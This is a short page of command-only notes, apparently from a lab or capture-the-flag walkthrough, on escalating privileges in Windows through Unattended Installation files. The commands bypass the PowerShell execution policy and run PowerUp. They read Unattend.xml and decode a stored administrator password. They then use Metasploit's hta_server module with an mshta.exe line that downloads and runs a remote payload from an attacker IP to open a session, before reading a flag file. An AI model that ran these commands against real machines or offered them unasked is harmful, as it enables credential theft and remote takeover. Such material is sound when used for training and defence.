Unattended Installation
Last updated
Last updated
powershell -ep bypass
. .\PowerUp.ps1
Invoke-PrivescAuditcat C:\Windows\Panther\Unattend.xml$password='QWRtaW5AMTIz'
$password=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($password))
echo $passwordrunas.exe /user:administrator cmd
Admin@123
whoamimsfconsole -q
use exploit/windows/misc/hta_server
exploit
mshta.exe http://10.10.31.2:8080/Bn75U0NL8ONS.hta
sessions -i 1
cd /
cd C:\\Users\\Administrator\\Desktop
dir
cat flag.txt